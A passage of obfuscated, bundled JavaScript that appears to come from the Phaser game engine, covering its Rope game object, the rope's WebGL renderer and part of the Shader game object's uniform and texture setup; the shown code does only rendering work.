this['updateVertices']()); }, 'play': function (_0x3bf672, _0x599a74, _0x4cc8ff) { return this['anims']['play'](_0x3bf672, _0x599a74, _0x4cc8ff), this; }, 'setDirty': function () { return this['dirty'] = !0x0, this; }, 'setHorizontal': function (_0x3d0f2b, _0x149758, _0x397183) { return void 0x0 === _0x3d0f2b && (_0x3d0f2b = this['points']['length']), this['horizontal'] ? this : (this['horizontal'] = !0x0, this['setPoints'](_0x3d0f2b, _0x149758, _0x397183)); }, 'setVertical': function (_0x237a3e, _0x34be43, _0x510f83) { return void 0x0 === _0x237a3e && (_0x237a3e = this['points']['length']), this['horizontal'] ? (this['horizontal'] = !0x1, this['setPoints'](_0x237a3e, _0x34be43, _0x510f83)) : this; }, 'setTintFill': function (_0x5c01e7) { return void 0x0 === _0x5c01e7 && (_0x5c01e7 = !0x1), this['tintFill'] = _0x5c01e7, this; }, 'setAlphas': function (_0x392b70, _0x2b69cd) { var _0x19aa70 = this['points']['length']; if (_0x19aa70 < 0x1) return this; var _0x4e16d7, _0x588fdc = this['alphas']; void 0x0 === _0x392b70 ? _0x392b70 = [0x1] : Array['isArray'](_0x392b70) || void 0x0 !== _0x2b69cd || (_0x392b70 = [_0x392b70]); var _0x52e8ea = 0x0; if (void 0x0 !== _0x2b69cd) { for (_0x4e16d7 = 0x0; _0x4e16d7 < _0x19aa70; _0x4e16d7++)_0x588fdc[_0x52e8ea = 0x2 * _0x4e16d7] = _0x392b70, _0x588fdc[_0x52e8ea + 0x1] = _0x2b69cd; } else { if (_0x392b70['length'] === _0x19aa70) { for (_0x4e16d7 = 0x0; _0x4e16d7 < _0x19aa70; _0x4e16d7++)_0x588fdc[_0x52e8ea = 0x2 * _0x4e16d7] = _0x392b70[_0x4e16d7], _0x588fdc[_0x52e8ea + 0x1] = _0x392b70[_0x4e16d7]; } else { var _0xfb1ce7 = _0x392b70[0x0]; for (_0x4e16d7 = 0x0; _0x4e16d7 < _0x19aa70; _0x4e16d7++)_0x52e8ea = 0x2 * _0x4e16d7, _0x392b70['length'] > _0x52e8ea && (_0xfb1ce7 = _0x392b70[_0x52e8ea]), _0x588fdc[_0x52e8ea] = _0xfb1ce7, _0x392b70['length'] > _0x52e8ea + 0x1 && (_0xfb1ce7 = _0x392b70[_0x52e8ea + 0x1]), _0x588fdc[_0x52e8ea + 0x1] = _0xfb1ce7; } } return this; }, 'setColors': function (_0x11b3ae) { var _0x501ffd = this['points']['length']; if (_0x501ffd < 0x1) return this; var _0x3b2074, _0x4fce79 = this['colors']; void 0x0 === _0x11b3ae ? _0x11b3ae = [0xffffff] : Array['isArray'](_0x11b3ae) || (_0x11b3ae = [_0x11b3ae]); var _0x1963b4 = 0x0; if (_0x11b3ae['length'] === _0x501ffd) { for (_0x3b2074 = 0x0; _0x3b2074 < _0x501ffd; _0x3b2074++)_0x4fce79[_0x1963b4 = 0x2 * _0x3b2074] = _0x11b3ae[_0x3b2074], _0x4fce79[_0x1963b4 + 0x1] = _0x11b3ae[_0x3b2074]; } else { var _0x2f943b = _0x11b3ae[0x0]; for (_0x3b2074 = 0x0; _0x3b2074 < _0x501ffd; _0x3b2074++)_0x1963b4 = 0x2 * _0x3b2074, _0x11b3ae['length'] > _0x1963b4 && (_0x2f943b = _0x11b3ae[_0x1963b4]), _0x4fce79[_0x1963b4] = _0x2f943b, _0x11b3ae['length'] > _0x1963b4 + 0x1 && (_0x2f943b = _0x11b3ae[_0x1963b4 + 0x1]), _0x4fce79[_0x1963b4 + 0x1] = _0x2f943b; } return this; }, 'setPoints': function (_0x348c75, _0x512f6a, _0x129113) { if (void 0x0 === _0x348c75 && (_0x348c75 = 0x2), 'number' == typeof _0x348c75) { var _0x6bfee0, _0x4b3e05, _0x1bb209, _0x1ca1dd = _0x348c75; if (_0x1ca1dd < 0x2 && (_0x1ca1dd = 0x2), _0x348c75 = [], this['horizontal']) { for (_0x1bb209 = -this['frame']['halfWidth'], _0x4b3e05 = this['frame']['width'] / (_0x1ca1dd - 0x1), _0x6bfee0 = 0x0; _0x6bfee0 < _0x1ca1dd; _0x6bfee0++)_0x348c75['push']({ 'x': _0x1bb209 + _0x6bfee0 * _0x4b3e05, 'y': 0x0 }); } else { for (_0x1bb209 = -this['frame']['halfHeight'], _0x4b3e05 = this['frame']['height'] / (_0x1ca1dd - 0x1), _0x6bfee0 = 0x0; _0x6bfee0 < _0x1ca1dd; _0x6bfee0++)_0x348c75['push']({ 'x': 0x0, 'y': _0x1bb209 + _0x6bfee0 * _0x4b3e05 }); } } var _0x57d6c6 = _0x348c75['length'], _0x23f803 = this['points']['length']; return _0x57d6c6 < 0x1 || (0x1 === _0x57d6c6 && (_0x348c75['unshift']({ 'x': 0x0, 'y': 0x0 }), _0x57d6c6++), _0x23f803 !== _0x57d6c6 && this['resizeArrays'](_0x57d6c6), this['dirty'] = !0x0, this['points'] = _0x348c75, this['updateUVs'](), null != _0x512f6a && this['setColors'](_0x512f6a), null != _0x129113 && this['setAlphas'](_0x129113)), this; }, 'updateUVs': function () { for (var _0x38d4a8 = this['uv'], _0x31963d = this['points']['length'], _0x32774c = this['frame']['u0'], _0x16eaf2 = this['frame']['v0'], _0x299183 = this['frame']['u1'], _0x449103 = this['frame']['v1'], _0x55bb8b = (_0x299183 - _0x32774c) / (_0x31963d - 0x1), _0x3a8a85 = (_0x449103 - _0x16eaf2) / (_0x31963d - 0x1), _0x5020dd = 0x0; _0x5020dd < _0x31963d; _0x5020dd++) { var _0x59f6a9, _0xbe74db, _0x3c2bf, _0x57023, _0x2861d9 = 0x4 * _0x5020dd; this['horizontal'] ? (this['_flipX'] ? (_0x59f6a9 = _0x299183 - _0x5020dd * _0x55bb8b, _0x3c2bf = _0x299183 - _0x5020dd * _0x55bb8b) : (_0x59f6a9 = _0x32774c + _0x5020dd * _0x55bb8b, _0x3c2bf = _0x32774c + _0x5020dd * _0x55bb8b), this['_flipY'] ? (_0xbe74db = _0x449103, _0x57023 = _0x16eaf2) : (_0xbe74db = _0x16eaf2, _0x57023 = _0x449103)) : (this['_flipX'] ? (_0x59f6a9 = _0x32774c, _0x3c2bf = _0x299183) : (_0x59f6a9 = _0x299183, _0x3c2bf = _0x32774c), this['_flipY'] ? (_0xbe74db = _0x449103 - _0x5020dd * _0x3a8a85, _0x57023 = _0x449103 - _0x5020dd * _0x3a8a85) : (_0xbe74db = _0x16eaf2 + _0x5020dd * _0x3a8a85, _0x57023 = _0x16eaf2 + _0x5020dd * _0x3a8a85)), _0x38d4a8[_0x2861d9 + 0x0] = _0x59f6a9, _0x38d4a8[_0x2861d9 + 0x1] = _0xbe74db, _0x38d4a8[_0x2861d9 + 0x2] = _0x3c2bf, _0x38d4a8[_0x2861d9 + 0x3] = _0x57023; } return this; }, 'resizeArrays': function (_0x2e1012) { var _0x3b162a = this['colors'], _0x1303db = this['alphas']; this['vertices'] = new Float32Array(0x4 * _0x2e1012), this['uv'] = new Float32Array(0x4 * _0x2e1012), _0x3b162a = new Uint32Array(0x2 * _0x2e1012), _0x1303db = new Float32Array(0x2 * _0x2e1012); for (var _0x5b07fe = 0x0; _0x5b07fe < 0x2 * _0x2e1012; _0x5b07fe++)_0x3b162a[_0x5b07fe] = 0xffffff, _0x1303db[_0x5b07fe] = 0x1; return this['colors'] = _0x3b162a, this['alphas'] = _0x1303db, this['dirty'] = !0x0, this; }, 'updateVertices': function () { var _0x56bae9 = this['_perp'], _0x2c7089 = this['points'], _0x3e122e = this['vertices'], _0x596e6c = _0x2c7089['length']; if (this['dirty'] = !0x1, !(_0x596e6c < 0x1)) { for (var _0x2dead3, _0x1f8b34 = _0x2c7089[0x0], _0x20fb10 = this['horizontal'] ? this['frame']['halfHeight'] : this['frame']['halfWidth'], _0x3b777f = 0x0; _0x3b777f < _0x596e6c; _0x3b777f++) { var _0x222fd0 = _0x2c7089[_0x3b777f], _0x30ffc7 = 0x4 * _0x3b777f; _0x2dead3 = _0x3b777f < _0x596e6c - 0x1 ? _0x2c7089[_0x3b777f + 0x1] : _0x222fd0, _0x56bae9['x'] = _0x2dead3['y'] - _0x1f8b34['y'], _0x56bae9['y'] = -(_0x2dead3['x'] - _0x1f8b34['x']); var _0x93c866 = _0x56bae9['length'](); _0x56bae9['x'] /= _0x93c866, _0x56bae9['y'] /= _0x93c866, _0x56bae9['x'] *= _0x20fb10, _0x56bae9['y'] *= _0x20fb10, _0x3e122e[_0x30ffc7] = _0x222fd0['x'] + _0x56bae9['x'], _0x3e122e[_0x30ffc7 + 0x1] = _0x222fd0['y'] + _0x56bae9['y'], _0x3e122e[_0x30ffc7 + 0x2] = _0x222fd0['x'] - _0x56bae9['x'], _0x3e122e[_0x30ffc7 + 0x3] = _0x222fd0['y'] - _0x56bae9['y'], _0x1f8b34 = _0x222fd0; } return this; } }, 'setDebug': function (_0x4c76a0, _0x59db3c) { return this['debugGraphic'] = _0x4c76a0, this['debugCallback'] = _0x4c76a0 || _0x59db3c ? _0x59db3c || this['renderDebugVerts'] : null, this; }, 'renderDebugVerts': function (_0x5e8091, _0x2ceffd, _0x1a2924) { var _0x43038f = _0x5e8091['debugGraphic'], _0x111d66 = _0x1a2924[0x0], _0x2b6cb6 = _0x1a2924[0x1], _0x8cd99 = _0x1a2924[0x2], _0x23b250 = _0x1a2924[0x3]; _0x43038f['lineBetween'](_0x111d66, _0x2b6cb6, _0x8cd99, _0x23b250); for (var _0x22112a = 0x4; _0x22112a < _0x2ceffd; _0x22112a += 0x4) { var _0x103d5e = _0x1a2924[_0x22112a + 0x0], _0x226603 = _0x1a2924[_0x22112a + 0x1], _0x33ff9a = _0x1a2924[_0x22112a + 0x2], _0xa00374 = _0x1a2924[_0x22112a + 0x3]; _0x43038f['lineBetween'](_0x111d66, _0x2b6cb6, _0x103d5e, _0x226603), _0x43038f['lineBetween'](_0x8cd99, _0x23b250, _0x33ff9a, _0xa00374), _0x43038f['lineBetween'](_0x8cd99, _0x23b250, _0x103d5e, _0x226603), _0x43038f['lineBetween'](_0x103d5e, _0x226603, _0x33ff9a, _0xa00374), _0x111d66 = _0x103d5e, _0x2b6cb6 = _0x226603, _0x8cd99 = _0x33ff9a, _0x23b250 = _0xa00374; } }, 'preDestroy': function () { this['anims']['destroy'](), this['anims'] = void 0x0, this['points'] = null, this['vertices'] = null, this['uv'] = null, this['colors'] = null, this['alphas'] = null, this['debugCallback'] = null, this['debugGraphic'] = null; }, 'flipX': { 'get': function () { return this['_flipX']; }, 'set': function (_0x48cacc) { return this['_flipX'] = _0x48cacc, this['updateUVs'](); } }, 'flipY': { 'get': function () { return this['_flipY']; }, 'set': function (_0xa12cb7) { return this['_flipY'] = _0xa12cb7, this['updateUVs'](); } } }); _0x21a7de['exports'] = _0x41a024; }, 0x1741e: _0x3fcc50 => { _0x3fcc50['exports'] = function () { }; }, 0x6661: (_0x56c44a, _0x76e296, _0xb9fa02) => { var _0x31e139 = _0xb9fa02(0x62d9), _0x3e81d5 = _0xb9fa02(0xae3b), _0x55d589 = _0xb9fa02(0x5c10), _0x3dca19 = _0xb9fa02(0x8952), _0x12b1e2 = _0xb9fa02(0x12fbd); _0x3e81d5['register']('rope', function (_0x1c1bd6, _0x28946c) { void 0x0 === _0x1c1bd6 && (_0x1c1bd6 = {}); var _0x3efe8f = _0x55d589(_0x1c1bd6, 'key', null), _0x5de837 = _0x55d589(_0x1c1bd6, 'frame', null), _0x1245d5 = _0x55d589(_0x1c1bd6, 'horizontal', !0x0), _0x572e5e = _0x3dca19(_0x1c1bd6, 'points', void 0x0), _0x388c22 = _0x3dca19(_0x1c1bd6, 'colors', void 0x0), _0xee8f75 = _0x3dca19(_0x1c1bd6, 'alphas', void 0x0), _0x38e4b1 = new _0x12b1e2(this['scene'], 0x0, 0x0, _0x3efe8f, _0x5de837, _0x572e5e, _0x1245d5, _0x388c22, _0xee8f75); return void 0x0 !== _0x28946c && (_0x1c1bd6['add'] = _0x28946c), _0x31e139(this['scene'], _0x38e4b1, _0x1c1bd6), _0x38e4b1; }); }, 0x17a33: (_0x404ae7, _0x3b43fb, _0x503dfd) => { var _0x36bd6c = _0x503dfd(0x12fbd); _0x503dfd(0x9a05)['register']('rope', function (_0x2f9f70, _0x2556a2, _0x47ba31, _0xc186, _0x54b732, _0x15b022, _0x5eb7c8, _0x5504ab) { return this['displayList']['add'](new _0x36bd6c(this['scene'], _0x2f9f70, _0x2556a2, _0x47ba31, _0xc186, _0x54b732, _0x15b022, _0x5eb7c8, _0x5504ab)); }); }, 0x9759: (_0x34431f, _0x381975, _0x510db6) => { var _0x1eaead = _0x510db6(0x7433), _0x42f96e = _0x1eaead, _0x5ae73a = _0x1eaead; _0x42f96e = _0x510db6(0x4fd7), _0x5ae73a = _0x510db6(0x1741e), _0x34431f['exports'] = { 'renderWebGL': _0x42f96e, 'renderCanvas': _0x5ae73a }; }, 0x4fd7: (_0x58d97f, _0x5a26ca, _0x248bcb) => { var _0x2c52d5 = _0x248bcb(0x164a0), _0xbcea8b = _0x248bcb(0x1139a); _0x58d97f['exports'] = function (_0x4aec8f, _0x14d591, _0x452136, _0x7d066a) { _0x452136['addToRenderList'](_0x14d591); var _0xd99566 = _0x4aec8f['pipelines']['set'](_0x14d591['pipeline'], _0x14d591), _0x393c60 = _0x2c52d5(_0x14d591, _0x452136, _0x7d066a)['calc'], _0xc9dc8a = _0x14d591['vertices'], _0x4b6661 = _0x14d591['uv'], _0x356d24 = _0x14d591['colors'], _0x5b516a = _0x14d591['alphas'], _0x503203 = _0x14d591['alpha'], _0x13c248 = _0xbcea8b['getTintAppendFloatAlpha'], _0x13c0f3 = _0x452136['roundPixels'], _0x52498e = _0xc9dc8a['length'], _0x317f20 = Math['floor'](0.5 * _0x52498e); _0xd99566['flush'](), _0x4aec8f['pipelines']['preBatch'](_0x14d591); var _0x4dc332 = _0xd99566['setGameObject'](_0x14d591), _0x40e43f = _0xd99566['vertexViewF32'], _0x470fd5 = _0xd99566['vertexViewU32'], _0x565b29 = _0xd99566['vertexCount'] * _0xd99566['currentShader']['vertexComponentCount'] - 0x1, _0x4fb425 = 0x0, _0x9ea03e = _0x14d591['tintFill']; _0x14d591['dirty'] && _0x14d591['updateVertices'](); for (var _0x25639f = _0x14d591['debugCallback'], _0x644a48 = [], _0x3fb78f = 0x0; _0x3fb78f < _0x52498e; _0x3fb78f += 0x2) { var _0x4a1f3b = _0xc9dc8a[_0x3fb78f + 0x0], _0x152bf6 = _0xc9dc8a[_0x3fb78f + 0x1], _0x18b4ef = _0x4a1f3b * _0x393c60['a'] + _0x152bf6 * _0x393c60['c'] + _0x393c60['e'], _0x21df09 = _0x4a1f3b * _0x393c60['b'] + _0x152bf6 * _0x393c60['d'] + _0x393c60['f']; _0x13c0f3 && (_0x18b4ef = Math['round'](_0x18b4ef), _0x21df09 = Math['round'](_0x21df09)), _0x40e43f[++_0x565b29] = _0x18b4ef, _0x40e43f[++_0x565b29] = _0x21df09, _0x40e43f[++_0x565b29] = _0x4b6661[_0x3fb78f + 0x0], _0x40e43f[++_0x565b29] = _0x4b6661[_0x3fb78f + 0x1], _0x40e43f[++_0x565b29] = _0x4dc332, _0x40e43f[++_0x565b29] = _0x9ea03e, _0x470fd5[++_0x565b29] = _0x13c248(_0x356d24[_0x4fb425], _0x452136['alpha'] * (_0x5b516a[_0x4fb425] * _0x503203)), _0x4fb425++, _0x25639f && (_0x644a48[_0x3fb78f + 0x0] = _0x18b4ef, _0x644a48[_0x3fb78f + 0x1] = _0x21df09); } _0x25639f && _0x25639f['call'](_0x14d591, _0x14d591, _0x52498e, _0x644a48), _0xd99566['vertexCount'] += _0x317f20, _0xd99566['currentBatch']['count'] = _0xd99566['vertexCount'] - _0xd99566['currentBatch']['start'], _0x4aec8f['pipelines']['postBatch'](_0x14d591); }; }, 0x4e67: (_0x378014, _0x2259c4, _0x2aaa18) => { var _0x2a1007 = _0x2aaa18(0x145db), _0x4eb1a5 = _0x2aaa18(0x7aa9), _0x13a3ec = _0x2aaa18(0x1759b), _0x297d2 = _0x2aaa18(0x17534), _0x375e4d = _0x2aaa18(0x135bb), _0x1d3c80 = _0x2aaa18(0xf0b6), _0xdefa1f = _0x2aaa18(0x6387), _0x3a4058 = _0x2aaa18(0xef9c), _0x1a3084 = _0x2aaa18(0x174c4), _0x1c6b8e = _0x2aaa18(0x16957), _0x334526 = new _0x2a1007({ 'Extends': _0x13a3ec, 'Mixins': [_0x4eb1a5['ComputedSize'], _0x4eb1a5['Depth'], _0x4eb1a5['GetBounds'], _0x4eb1a5['Mask'], _0x4eb1a5['Origin'], _0x4eb1a5['ScrollFactor'], _0x4eb1a5['Transform'], _0x4eb1a5['Visible'], _0xdefa1f], 'initialize': function (_0x2da562, _0x5c81f2, _0x166d11, _0x5594c4, _0xa06d41, _0x5d7218, _0x586985, _0x32bbc7) { void 0x0 === _0x166d11 && (_0x166d11 = 0x0), void 0x0 === _0x5594c4 && (_0x5594c4 = 0x0), void 0x0 === _0xa06d41 && (_0xa06d41 = 0x80), void 0x0 === _0x5d7218 && (_0x5d7218 = 0x80), _0x13a3ec['call'](this, _0x2da562, 'Shader'), this['blendMode'] = -0x1, this['shader']; var _0x3b31df = _0x2da562['sys']['renderer']; this['renderer'] = _0x3b31df, this['gl'] = _0x3b31df['gl'], this['vertexData'] = new ArrayBuffer(0x2 * Float32Array['BYTES_PER_ELEMENT'] * 0x6), this['vertexBuffer'] = _0x3b31df['createVertexBuffer'](this['vertexData']['byteLength'], this['gl']['STREAM_DRAW']), this['_deferSetShader'] = null, this['_deferProjOrtho'] = null, this['program'] = null, this['bytes'] = new Uint8Array(this['vertexData']), this['vertexViewF32'] = new Float32Array(this['vertexData']), this['_tempMatrix1'] = new _0x3a4058(), this['_tempMatrix2'] = new _0x3a4058(), this['_tempMatrix3'] = new _0x3a4058(), this['viewMatrix'] = new Float32Array([0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1]), this['projectionMatrix'] = new Float32Array([0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1]), this['uniforms'] = {}, this['pointer'] = null, this['_rendererWidth'] = _0x3b31df['width'], this['_rendererHeight'] = _0x3b31df['height'], this['_textureCount'] = 0x0, this['framebuffer'] = null, this['glTexture'] = null, this['renderToTexture'] = !0x1, this['texture'] = null, this['setPosition'](_0x166d11, _0x5594c4), this['setSize'](_0xa06d41, _0x5d7218), this['setOrigin'](0.5, 0.5), this['setShader'](_0x5c81f2, _0x586985, _0x32bbc7), this['renderer']['on'](_0x1c6b8e['RESTORE_WEBGL'], this['onContextRestored'], this); }, 'willRender': function (_0x2623c6) { return !!this['renderToTexture'] || !(_0x13a3ec['RENDER_MASK'] !== this['renderFlags'] || 0x0 !== this['cameraFilter'] && this['cameraFilter'] & _0x2623c6['id']); }, 'setRenderToTexture': function (_0x203770, _0x3dd774) { if (void 0x0 === _0x3dd774 && (_0x3dd774 = !0x1), !this['renderToTexture']) { var _0x46a1b0 = this['width'], _0x30b1a9 = this['height'], _0x31803f = this['renderer']; this['glTexture'] = _0x31803f['createTextureFromSource'](null, _0x46a1b0, _0x30b1a9, 0x0), this['framebuffer'] = _0x31803f['createFramebuffer'](_0x46a1b0, _0x30b1a9, this['glTexture'], !0x1), this['_rendererWidth'] = _0x46a1b0, this['_rendererHeight'] = _0x30b1a9, this['renderToTexture'] = !0x0, this['projOrtho'](0x0, this['width'], this['height'], 0x0), _0x203770 && (this['texture'] = this['scene']['sys']['textures']['addGLTexture'](_0x203770, this['glTexture'])); } return this['shader'] && (_0x31803f['pipelines']['clear'](), this['load'](), this['flush'](), _0x31803f['pipelines']['rebind']()), this; }, 'setShader': function (_0x5391f5, _0xdfd0e1, _0x581b3b) { if (this['renderer']['contextLost']) return this['_deferSetShader'] = { 'key': _0x5391f5, 'textures': _0xdfd0e1, 'textureData': _0x581b3b }, this; if (void 0x0 === _0xdfd0e1 && (_0xdfd0e1 = []), 'string' == typeof _0x5391f5) { var _0x2b6133 = this['scene']['sys']['cache']['shader']; if (!_0x2b6133['has'](_0x5391f5)) return this; this['shader'] = _0x2b6133['get'](_0x5391f5); } else this['shader'] = _0x5391f5; var _0x14a532 = this['gl'], _0x4fa8c2 = this['renderer']; this['program'] && _0x4fa8c2['deleteProgram'](this['program']); var _0x27e421 = _0x4fa8c2['createProgram'](this['shader']['vertexSrc'], this['shader']['fragmentSrc']); _0x14a532['uniformMatrix4fv'](_0x14a532['getUniformLocation'](_0x27e421['webGLProgram'], 'uViewMatrix'), !0x1, this['viewMatrix']), _0x14a532['uniformMatrix4fv'](_0x14a532['getUniformLocation'](_0x27e421['webGLProgram'], 'uProjectionMatrix'), !0x1, this['projectionMatrix']), _0x14a532['uniform2f'](_0x14a532['getUniformLocation'](_0x27e421['webGLProgram'], 'uResolution'), this['width'], this['height']), this['program'] = _0x27e421; var _0x5d9b50 = new Date(), _0x418151 = { 'resolution': { 'type': '2f', 'value': { 'x': this['width'], 'y': this['height'] } }, 'time': { 'type': '1f', 'value': 0x0 }, 'mouse': { 'type': '2f', 'value': { 'x': this['width'] / 0x2, 'y': this['height'] / 0x2 } }, 'date': { 'type': '4fv', 'value': [_0x5d9b50['getFullYear'](), _0x5d9b50['getMonth'](), _0x5d9b50['getDate'](), 0x3c * _0x5d9b50['getHours']() * 0x3c + 0x3c * _0x5d9b50['getMinutes']() + _0x5d9b50['getSeconds']()] }, 'sampleRate': { 'type': '1f', 'value': 0xac44 }, 'iChannel0': { 'type': 'sampler2D', 'value': null, 'textureData': { 'repeat': !0x0 } }, 'iChannel1': { 'type': 'sampler2D', 'value': null, 'textureData': { 'repeat': !0x0 } }, 'iChannel2': { 'type': 'sampler2D', 'value': null, 'textureData': { 'repeat': !0x0 } }, 'iChannel3': { 'type': 'sampler2D', 'value': null, 'textureData': { 'repeat': !0x0 } } }; this['shader']['uniforms'] ? this['uniforms'] = _0x375e4d(!0x0, {}, this['shader']['uniforms'], _0x418151) : this['uniforms'] = _0x418151; for (var _0x164334 = 0x0; _0x164334 < 0x4; _0x164334++)_0xdfd0e1[_0x164334] && this['setSampler2D']('iChannel' + _0x164334, _0xdfd0e1[_0x164334], _0x164334, _0x581b3b); return this['initUniforms'](), this['projOrtho'](0x0, this['_rendererWidth'], this['_rendererHeight'], 0x0), this; }, 'setPointer': function (_0x488e6f) { return this['pointer'] = _0x488e6f, this; }, 'projOrtho': function (_0x23df44, _0x11c0b8, _0x4f5b8f, _0x2af6fb) { if (this['renderer']['contextLost']) this['_deferProjOrtho'] = { 'left': _0x23df44, 'right': _0x11c0b8, 'bottom': _0x4f5b8f, 'top': _0x2af6fb }; else { var _0x3daddb = 0x1 / (_0x23df44 - _0x11c0b8), _0x40c37b = 0x1 / (_0x4f5b8f - _0x2af6fb), _0x24e5a7 = this['projectionMatrix']; _0x24e5a7[0x0] = -0x2 * _0x3daddb, _0x24e5a7[0x5] = -0x2 * _0x40c37b, _0x24e5a7[0xa] = -0.001, _0x24e5a7[0xc] = (_0x23df44 + _0x11c0b8) * _0x3daddb, _0x24e5a7[0xd] = (_0x2af6fb + _0x4f5b8f) * _0x40c37b, _0x24e5a7[0xe] = -0x0; var _0x39af32 = this['program'], _0x16a739 = this['gl']; this['renderer']['setProgram'](_0x39af32), _0x16a739['uniformMatrix4fv'](_0x16a739['getUniformLocation'](_0x39af32['webGLProgram'], 'uProjectionMatrix'), !0x1, this['projectionMatrix']), this['_rendererWidth'] = _0x11c0b8, this['_rendererHeight'] = _0x4f5b8f; } }, 'initUniforms': function () { var _0x3705e8 = this['renderer']['glFuncMap'], _0x138c9f = this['program']; for (var _0x47b69a in (this['_textureCount'] = 0x0, this['uniforms'])) { var _0x1c4c4c = this['uniforms'][_0x47b69a], _0xb14d81 = _0x1c4c4c['type'], _0x41e107 = _0x3705e8[_0xb14d81]; _0x1c4c4c['uniformLocation'] = this['renderer']['createUniformLocation'](_0x138c9f, _0x47b69a), 'sampler2D' !== _0xb14d81 && (_0x1c4c4c['glMatrix'] = _0x41e107['matrix'], _0x1c4c4c['glValueLength'] = _0x41e107['length'], _0x1c4c4c['glFunc'] = _0x41e107['func']); } }, 'setSampler2DBuffer': function (_0x176189, _0x12d668, _0xf1915d, _0x1f1a6a, _0x1c1048, _0x502444) { void 0x0 === _0x1c1048 && (_0x1c1048 = 0x0), void 0x0 === _0x502444 && (_0x502444 = {}); var _0x573d20 = this['uniforms'][_0x176189]; return _0x573d20['value'] = _0x12d668, _0x502444['width'] = _0xf1915d, _0x502444['height'] = _0x1f1a6a, _0x573d20['textureData'] = _0x502444, this['_textureCount'] = _0x1c1048, this['initSampler2D'](_0x573d20), this; }, 'setSampler2D': function (_0x2c8358, _0x776d4f, _0x4453c9, _0x37d5bc) { void 0x0 === _0x4453c9 && (_0x4453c9 = 0x0); var _0x36f029 = this['scene']['sys']['textures']; if (_0x36f029['exists'](_0x776d4f)) { var _0x321be0 = _0x36f029['getFrame'](_0x776d4f); if (_0x321be0['glTexture'] && _0x321be0['glTexture']['isRenderTexture']) return this['setSampler2DBuffer'](_0x2c8358, _0x321be0['glTexture'], _0x321be0['width'], _0x321be0['height'], _0x4453c9, _0x37d5bc); var _0x3ac11a = this['uniforms'][_0x2c8358], _0x3c2511 = _0x321be0['source']; _0x3ac11a['textureKey'] = _0x776d4f, _0x3ac11a['source'] = _0x3c2511['image'], _0x3ac11a['value'] = _0x321be0['glTexture'], _0x3c2511['isGLTexture'] && (_0x37d5bc || (_0x37d5bc = {}), _0x37d5bc['width'] = _0x3c2511['width'], _0x37d5bc['height'] = _0x3c2511['height']), _0x37d5bc && (_0x3ac11a['textureData'] = _0x37d5bc), this['_textureCount'] = _0x4453c9, this['initSampler2D'](_0x3ac11a); } return this; }, 'setUniform': function (_0x419bfe, _0xfff726) { return _0x1d3c80(this['uniforms'], _0x419bfe, _0xfff726), this; }, 'getUniform': function (_0x5dda5c) { return _0x297d2(this['uniforms'], _0x5dda5c, null); }, 'setChannel0': function (_0x5112c6, _0x1697b3) { return this['setSampler2D']('iChannel0', _0x5112c6, 0x0, _0x1697b3); }, 'setChannel1': function (_0x50e6fa, _0x38a9d5) { return this['setSampler2D']('iChannel1', _0x50e6fa, 0x1, _0x38a9d5); }, 'setChannel2': function (_0x41c7d4, _0x3617a2) { return this['setSampler2D']('iChannel2', _0x41c7d4, 0x2, _0x3617a2); }, 'setChannel3': function (_0x458e46, _0x4309ee) { return this['setSampler2D']('iChannel3', _0x458e46, 0x3, _0x4309ee); }, 'initSampler2D': function (_0x2abf0a) { if (_0x2abf0a['value']) { var _0x862db2 = _0x2abf0a['textureData']; if (_0x862db2 && !_0x2abf0a['value']['isRenderTexture']) { var _0x28878e = this['gl'], _0xbd2bf1 = _0x2abf0a['value'], _0x162910 = _0x28878e[_0x297d2(_0x862db2, 'magFilter', 'linear')['toUpperCase']()], _0x27e24e = _0x28878e[_0x297d2(_0x862db2, 'minFilter', 'linear')['toUpperCase']()], _0x56e339 = _0x28878e[_0x297d2(_0x862db2, 'wrapS', 'repeat')['toUpperCase']()], _0xb16d8b = _0x28878e[_0x297d2(_0x862db2, 'wrapT', 'repeat')['toUpperCase']()], _0x563a72 = _0x28878e[_0x297d2(_0x862db2, 'format', 'rgba')['toUpperCase']()], _0x43926a = _0x297d2(_0x862db2, 'flipY', !0x1), _0x4cd981 = _0x297d2(_0x862db2, 'width', _0xbd2bf1['width']), _0x256b93 = _0x297d2(_0x862db2, 'height', _0xbd2bf1['height']), _0x2798bc = _0x297d2(_0x862db2, 'source', _0xbd2bf1['pixels']); _0x862db2['repeat'] && (_0x56e339 = _0x28878e['REPEAT'], _0xb16d8b = _0x28878e['REPEAT']), _0x862db2['width'] && (_0x2798bc = null), _0xbd2bf1['update'](_0x2798bc, _0x4cd981, _0x256b93, _0x43926a, _0x56e339, _0xb16d8b, _0x27e24e, _0x162910, _0x563a72); } this['renderer']['setProgram'](this['program']), this['_textureCount']++; } }, 'syncUniforms': function () { var _0x3f86c8, _0x26095d, _0x5915a9, _0x4329ee, _0x397195, _0x1b61aa = this['gl'], _0x233c92 = this['uniforms'], _0x25b9bf = 0x0; for (var _0x1b0849 in _0x233c92) _0x5915a9 = (_0x3f86c8 = _0x233c92[_0x1b0849])['glFunc'], _0x26095d = _0x3f86c8['glValueLength'], _0x4329ee = _0x3f86c8['uniformLocation'], null !== (_0x397195 = _0x3f86c8['value']) && (0x1 === _0x26095d ? _0x3f86c8['glMatrix'] ? _0x5915a9['call'](_0x1b61aa, _0x4329ee['webGLUniformLocation'], _0x3f86c8['transpose'], _0x397195) : _0x5915a9['call'](_0x1b61aa, _0x4329ee['webGLUniformLocation'], _0x397195) : 0x2 === _0x26095d ? _0x5915a9['call'](_0x1b61aa, _0x4329ee['webGLUniformLocation'], _0x397195['x'], _0x397195['y']) : 0x3 === _0x26095d ? _0x5915a9['call'](_0x1b61aa, _0x4329ee['webGLUniformLocation'], _0x397195['x'], _0x397195['y'], _0x397195['z']) : 0x4 === _0x26095d ? _0x5915a9['call'](_0x1b61aa, _0x4329ee['webGLUniformLocation'], _0x397195['x'], _0x397195['y'], _0x397195['z'], _0x397195['w']) : 'sampler2D' === _0x3f86c8['type'] && (_0x1b61aa['activeTexture'](_0x1b61aa['TEXTURE0'] + _0x25b9bf), _0x1b61aa['bindTexture'](_0x1b61aa['TEXTURE_2D'], _0x397195['webGLTexture']), _0x1b61aa['uniform1i'](_0x4329ee['webGLUniformLocation'], _0x25b9bf), _0x25b9bf++)); }, 'load': function (_0x1e2031) { var _0x54b865 = this['gl'], _0x5c6484 = this['width'], _0x55defd = 